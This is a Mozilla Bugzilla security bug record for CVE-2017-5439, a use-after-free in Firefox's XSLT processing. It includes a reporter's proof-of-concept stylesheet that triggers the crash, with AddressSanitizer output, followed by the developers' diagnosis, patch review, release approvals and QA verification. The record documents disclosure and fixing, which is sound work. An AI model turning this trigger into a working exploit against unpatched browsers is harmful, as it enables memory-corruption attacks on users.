Bug 1336830 (CVE-2017-5439)

UAF in nsTArray Length() during XSLT processing

VERIFIED FIXED in Firefox -esr45

Status

()

defect
--
critical
VERIFIED FIXED
2 years ago
2 years ago

People

(Reporter: nicolas.gregoire, Assigned: peterv)

Tracking

(4 keywords)

Trunk
mozilla55
x86_64
Linux
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox-esr4553+ verified, firefox52 wontfix, firefox-esr5253+ verified, firefox53+ verified, firefox54+ verified, firefox55+ verified)

Details

(Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+])

Attachments

(4 attachments, 1 obsolete attachment)

(Reporter)

Description

2 years ago
XPCshell PoC

Tested under xpcshell "JavaScript-C54.0a1"

[+] Relevant parts

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
          '  <xsl:template match="*">' +
          '    <xsl:apply-imports/>' + 
          '    <xsl:apply-templates select=".">' + 
          '      <xsl:with-param name="whatever_1">whatever_2</xsl:with-param>' + 
          '    </xsl:apply-templates>' +
          '  </xsl:template>' +
          '</xsl:stylesheet>'

[+] How to reproduce

$ ./poc_xslt_uaf_nsTArray_Length.js
==20267==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000334890 at pc 0x7f04c798d7b9 bp 0x7ffd20419800 sp 0x7ffd204197f8
READ of size 8 at 0x602000334890 thread T0
    #0 0x7f04c798d7b8 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:515:37
    #1 0x7f04c798d7b8 in next /home/worker/workspace/build/src/dom/xslt/base/txExpandedNameMap.h:68
    #2 0x7f04c798d7b8 in ~txVariableMap /home/worker/workspace/build/src/dom/xslt/xslt/txVariableMap.h:42
    #3 0x7f04c798d7b8 in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78
    #4 0x7f04c798d7b8 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
    #5 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

0x602000334890 is located 0 bytes inside of 8-byte region [0x602000334890,0x602000334898)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f04c798c87f in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
    #2 0x7f04c798c87f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:95
    #3 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #4 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f04c79a25ff in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f04c79a25ff in txSetParam::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:761
    #4 0x7f04c79fcaed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14
    #5 0x7f04c79c5c18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14
    #6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...
(Reporter)

Comment 1

2 years ago
Can't upload PoC...
Problem on https://bugzilla.mozilla.org/attachment.cgi?
(Reporter)

Comment 3

2 years ago
Posted file XPCshell PoC
Group: core-security → dom-core-security
Posted file testcase.html
Confirmed in mozilla-central rev 1cc159c7a044.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: in-testsuite?
Version: 54 Branch → Trunk
Peter, can you please take a look?
Flags: needinfo?(peterv)
Flags: sec-bounty?
(Assignee)

Comment 7

2 years ago
Hmm, we're somehow deleting a txVariableMap twice.
Assignee: nobody → peterv
Status: NEW → ASSIGNED
Flags: needinfo?(peterv)
(Assignee)

Comment 8

2 years ago
txApplyImportsStart::execute pushes the txVariableMap that's already in mTemplateParams, so it ends up in both the mParamStack and the mTemplateParams :-/.
Keywords: sec-high
(Assignee)

Comment 9

2 years ago
Posted patch v1 (obsolete) — Splinter Review
In txApplyImportsStart::execute we need to call popParamMap even if runTemplate returns an error, to remove the map that we pushed earlier. The mTemplateParams stack is a bit confusing, it normally owns its contents, but not in this case. So if we don't call popParamMap, then when the stack gets destroyed, we try to delete the map that we pushed but that the stack doesn't own :-/.
Attachment #8838072 - Flags: review?(erahm)
Comment on attachment 8838072 [details] [diff] [review]
v1

Review of attachment 8838072 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/xslt/xslt/txInstructions.cpp
@@ +59,5 @@
>      txInstruction* templ;
>      rv = aEs.mStylesheet->findTemplate(aEs.getEvalContext()->getContextNode(),
>                                         mode, &aEs, rule->mFrame, &templ,
>                                         &frame);
>      NS_ENSURE_SUCCESS(rv, rv);

I'm a little confused by your diff, I don't see this locally. I'm guessing this is built against another patchset?

It's not clear, but I think |aEs.pushParamMap(rule->mParams)| was probably called so you need to |aEs.popParamMap| in case of failure right?
Attachment #8838072 - Flags: review?(erahm) → feedback+
(Assignee)

Comment 11

2 years ago
(In reply to Eric Rahm [:erahm] from comment #10)
> I'm a little confused by your diff, I don't see this locally. I'm guessing
> this is built against another patchset?

Ah, yes, that's part of the fix for bug 1336828. But it shouldn't make a difference here.

> It's not clear, but I think |aEs.pushParamMap(rule->mParams)| was probably
> called so you need to |aEs.popParamMap| in case of failure right?

Yeah, we call pushParamMap earlier in txApplyImportsStart::execute.

IIRC in this case rule->mParams is actually the same as aEs.mTemplateParams (eg we sometimes do aEs.pushTemplateRule(..., aEs.mTemplateParams) which sets the rule's mParams to aEs.mTemplateParams). If we don't pop then the mTemplateParams nsAutoPtr will delete the param map but we'll also try do delete it when destroying the stack.
(Assignee)

Comment 12

2 years ago
I'm not sure how to interpret the feedback+, do you just need the answers from comment 11, or do I need to look for a different reviewer, or...?
Flags: needinfo?(erahm)
(In reply to Peter Van der Beken [:peterv] from comment #12)
> I'm not sure how to interpret the feedback+, do you just need the answers
> from comment 11, or do I need to look for a different reviewer, or...?

Can you post the patch you intend to land? As-is I think you need to replace the |NS_ENSURE_SUCCESS(rv, rv)| call with:

> if (NS_FAILED(rv)) {
>   aEs.popParamMap();
>   return rv;
> }
Flags: needinfo?(erahm)
(Assignee)

Comment 14

2 years ago
Posted patch v1Splinter Review
Attachment #8838072 - Attachment is obsolete: true
Attachment #8840811 - Flags: review?(erahm)
Comment on attachment 8840811 [details] [diff] [review]
v1

Review of attachment 8840811 [details] [diff] [review]:
-----------------------------------------------------------------

r=me, sorry about the run around!
Attachment #8840811 - Flags: review?(erahm) → review+
(Assignee)

Comment 16

2 years ago
Comment on attachment 8840811 [details] [diff] [review]
v1

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Not trivial, it needs a bit of understanding of the XSLT execution stacks.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

The test clearly shows the problem.

Which older supported branches are affected by this flaw?

All.

If not all supported branches, which bug introduced the flaw?

Affects all bracnhes.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Patch should just apply to branches.

How likely is this patch to cause regressions; how much testing does it need?

Shouldn't cause regressions, just deals with an error condition that we didn't deal with correctly.
Attachment #8840811 - Flags: sec-approval?
We're shipping Firefox 52 on Tuesday. This has sec-approval+ to checkin *on or after* March 21, two weeks into the next cycle. 

Also, this approval *only* applies to the fix itself, not the test. 

Please open a separate bug for checking in the test. That won't be allowed to be checked in until we ship a release containing the fix. Otherwise, your test will 0day our users as soon as you check it in and reveal your security fix.
Attachment #8840811 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/integration/mozilla-inbound/rev/2b0cd920b4fc

Please request Aurora/Beta/ESR52/ESR45 approval on this when you get a chance.
Flags: needinfo?(peterv)
Whiteboard: [checkin on 3/21]
(Assignee)

Updated

2 years ago
Blocks: 1349720
https://hg.mozilla.org/mozilla-central/rev/27bf27ed237f
Status: ASSIGNED → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla55
(Assignee)

Comment 22

2 years ago
Posted patch v1Splinter Review
Same as attachment  8840811 [details] [diff] [review], but without the automated testcase.

Approval Request Comment
[Feature/Bug causing the regression]: XSLT.
[User impact if declined]: Crash.
[Is this code covered by automated tests?]: Yes, but the crashtest for this specific issues will be landed separately.
[Has the fix been verified in Nightly?]: I verified that the testcase doesn't crash anymore.
[Needs manual test from QE? If yes, steps to reproduce]: Yes, until we can land the automated test. To reproduce: load attachment 8834041 [details], shouldn't crash.
[List of other uplifts needed for the feature/fix]: None.
[Is the change risky?]: Low-risk
[Why is the change risky/not risky?]: It just avoids double-deleting an object in an error case.
[String changes made/needed]: None.
Flags: needinfo?(peterv)
Attachment #8851087 - Flags: review+
Attachment #8851087 - Flags: approval-mozilla-beta?
Attachment #8851087 - Flags: approval-mozilla-aurora?
Comment on attachment 8851087 [details] [diff] [review]
v1

One more XSLT fix, sec high, let's bring it to beta. 
Can you nom for esr52 also?
Flags: needinfo?(peterv)
Attachment #8851087 - Flags: approval-mozilla-beta?
Attachment #8851087 - Flags: approval-mozilla-beta+
Attachment #8851087 - Flags: approval-mozilla-aurora?
Attachment #8851087 - Flags: approval-mozilla-aurora+
(Assignee)

Comment 25

2 years ago
Comment on attachment 8851087 [details] [diff] [review]
v1

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: crash
Fix Landed on Version: 55
Risk to taking this patch (and alternatives if risky): low-risk, narrow spot-fix to avoid double-deleting an object
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Flags: needinfo?(peterv)
Attachment #8851087 - Flags: approval-mozilla-esr52?
Attachment #8851087 - Flags: approval-mozilla-esr45?
Flags: sec-bounty? → sec-bounty+
Comment on attachment 8851087 [details] [diff] [review]
v1

sec-high uaf fix for esr45/esr52
Attachment #8851087 - Flags: approval-mozilla-esr52?
Attachment #8851087 - Flags: approval-mozilla-esr52+
Attachment #8851087 - Flags: approval-mozilla-esr45?
Attachment #8851087 - Flags: approval-mozilla-esr45+
Group: dom-core-security → core-security-release
Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+]
Alias: CVE-2017-5439
Flagging this for manual testing, per Comment 22.
Flags: qe-verify+
I reproduced this issue using the nightly build from february 5th 2017 using Ubuntu 14.04 LTS.
I can confirm this issue is fixed, I verified using Fx 53.0b10 (build ID: 20170407103631), Fx 54.0a2 (build ID: 20170410074807) and Fx 55.0a1 (build ID: 20170410100144) on Ubuntu 14.04 LTS.
I will re-verify this issue once the Fx 52.1.0esr and Fx 45.9.0esr builds are available.

Cheers!
I can confirm this issue is fixed using Fx 52.1.0esr and Fx 45.9.0esr.
Cheers!
Status: RESOLVED → VERIFIED
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.